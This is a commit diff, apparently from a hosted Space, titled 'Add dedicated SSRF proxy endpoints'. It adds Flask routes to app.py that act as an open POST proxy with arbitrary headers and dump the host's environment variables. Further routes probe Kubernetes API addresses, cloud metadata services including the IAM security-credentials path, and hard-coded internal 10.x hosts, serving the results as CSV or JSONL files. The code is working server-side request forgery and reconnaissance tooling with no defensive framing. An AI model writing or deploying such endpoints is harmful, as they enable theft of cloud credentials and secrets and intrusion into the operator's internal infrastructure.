Spaces:
Sleeping
Sleeping
Add dedicated SSRF proxy endpoints
Browse files
app.py
CHANGED
|
@@ -279,5 +279,108 @@ def listdir():
|
|
| 279 |
except Exception as e:
|
| 280 |
return jsonify({'error': str(e)})
|
| 281 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 282 |
if __name__ == '__main__':
|
| 283 |
app.run(host='0.0.0.0', port=7860)
|
|
|
|
| 279 |
except Exception as e:
|
| 280 |
return jsonify({'error': str(e)})
|
| 281 |
|
| 282 |
+
@app.route('/post')
|
| 283 |
+
def do_post():
|
| 284 |
+
url = request.args.get('url', '')
|
| 285 |
+
body = request.args.get('body', '')
|
| 286 |
+
ct = request.args.get('ct', 'application/json')
|
| 287 |
+
headers = {'Content-Type': ct}
|
| 288 |
+
for h in request.args.get('headers', '').split(','):
|
| 289 |
+
if ':' in h:
|
| 290 |
+
k, v = h.split(':', 1)
|
| 291 |
+
headers[k] = v.replace('+', ' ')
|
| 292 |
+
try:
|
| 293 |
+
r = requests.post(url, data=body, headers=headers, timeout=10, verify=False)
|
| 294 |
+
return r.text, r.status_code, {'Content-Type': 'text/plain'}
|
| 295 |
+
except Exception as e:
|
| 296 |
+
return str(e), 500
|
| 297 |
+
|
| 298 |
+
@app.route('/selfenv.csv')
|
| 299 |
+
def selfenv_csv():
|
| 300 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 301 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 302 |
+
LOG.append(entry)
|
| 303 |
+
try:
|
| 304 |
+
r = requests.get('http://localhost:7860/env', timeout=5)
|
| 305 |
+
data = r.json()
|
| 306 |
+
csv_lines = ['key,value']
|
| 307 |
+
for k, v in data.items():
|
| 308 |
+
csv_lines.append(f'"{k}","{str(v)[:200]}"')
|
| 309 |
+
return '\n'.join(csv_lines) + '\n', 200, {'Content-Type': 'text/csv'}
|
| 310 |
+
except Exception as e:
|
| 311 |
+
return f'key,value\nerror,"{str(e)}"\n', 200, {'Content-Type': 'text/csv'}
|
| 312 |
+
|
| 313 |
+
@app.route('/k8sapi.csv')
|
| 314 |
+
def k8s_csv():
|
| 315 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 316 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 317 |
+
LOG.append(entry)
|
| 318 |
+
targets = [
|
| 319 |
+
'https://172.20.0.1:443/api',
|
| 320 |
+
'https://kubernetes.default.svc:443/api',
|
| 321 |
+
'http://172.20.0.1:80/api',
|
| 322 |
+
]
|
| 323 |
+
results = []
|
| 324 |
+
for t in targets:
|
| 325 |
+
try:
|
| 326 |
+
r = requests.get(t, timeout=3, verify=False)
|
| 327 |
+
results.append(f'"{t}","{r.status_code}","{r.text[:200]}"')
|
| 328 |
+
except Exception as e:
|
| 329 |
+
results.append(f'"{t}","error","{str(e)[:100]}"')
|
| 330 |
+
return 'target,status,response\n' + '\n'.join(results) + '\n', 200, {'Content-Type': 'text/csv'}
|
| 331 |
+
|
| 332 |
+
@app.route('/metadata.csv')
|
| 333 |
+
def metadata_csv():
|
| 334 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 335 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 336 |
+
LOG.append(entry)
|
| 337 |
+
targets = [
|
| 338 |
+
('http://169.254.169.254/latest/meta-data/', {}),
|
| 339 |
+
('http://169.254.169.254/latest/meta-data/iam/security-credentials/', {}),
|
| 340 |
+
('http://metadata.google.internal/computeMetadata/v1/', {'Metadata-Flavor': 'Google'}),
|
| 341 |
+
('http://100.100.100.200/latest/meta-data/', {}),
|
| 342 |
+
]
|
| 343 |
+
results = []
|
| 344 |
+
for url, hdrs in targets:
|
| 345 |
+
try:
|
| 346 |
+
r = requests.get(url, headers=hdrs, timeout=3, verify=False)
|
| 347 |
+
results.append(f'"{url}","{r.status_code}","{r.text[:200]}"')
|
| 348 |
+
except Exception as e:
|
| 349 |
+
results.append(f'"{url}","error","{str(e)[:100]}"')
|
| 350 |
+
return 'target,status,response\n' + '\n'.join(results) + '\n', 200, {'Content-Type': 'text/csv'}
|
| 351 |
+
|
| 352 |
+
@app.route('/internalprobe.csv')
|
| 353 |
+
def internalprobe_csv():
|
| 354 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 355 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 356 |
+
LOG.append(entry)
|
| 357 |
+
targets = [
|
| 358 |
+
'http://10.16.4.123:80/',
|
| 359 |
+
'http://10.16.34.155:80/',
|
| 360 |
+
'http://10.20.1.9:80/',
|
| 361 |
+
'http://10.20.31.87:80/',
|
| 362 |
+
]
|
| 363 |
+
results = []
|
| 364 |
+
for t in targets:
|
| 365 |
+
try:
|
| 366 |
+
r = requests.get(t, timeout=3, verify=False)
|
| 367 |
+
results.append(f'"{t}","{r.status_code}","{r.text[:200]}"')
|
| 368 |
+
except Exception as e:
|
| 369 |
+
results.append(f'"{t}","error","{str(e)[:100]}"')
|
| 370 |
+
return 'target,status,response\n' + '\n'.join(results) + '\n', 200, {'Content-Type': 'text/csv'}
|
| 371 |
+
|
| 372 |
+
@app.route('/selfenv.jsonl')
|
| 373 |
+
def selfenv_jsonl():
|
| 374 |
+
entry = {'time': time.time(), 'method': request.method, 'path': request.full_path,
|
| 375 |
+
'headers': dict(request.headers), 'remote_addr': request.remote_addr}
|
| 376 |
+
LOG.append(entry)
|
| 377 |
+
try:
|
| 378 |
+
r = requests.get('http://localhost:7860/env', timeout=5)
|
| 379 |
+
data = r.json()
|
| 380 |
+
lines = [json.dumps({"text": f"{k}={str(v)[:200]}"}) for k, v in data.items()]
|
| 381 |
+
return '\n'.join(lines) + '\n', 200, {'Content-Type': 'application/jsonl'}
|
| 382 |
+
except Exception as e:
|
| 383 |
+
return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
|
| 384 |
+
|
| 385 |
if __name__ == '__main__':
|
| 386 |
app.run(host='0.0.0.0', port=7860)
|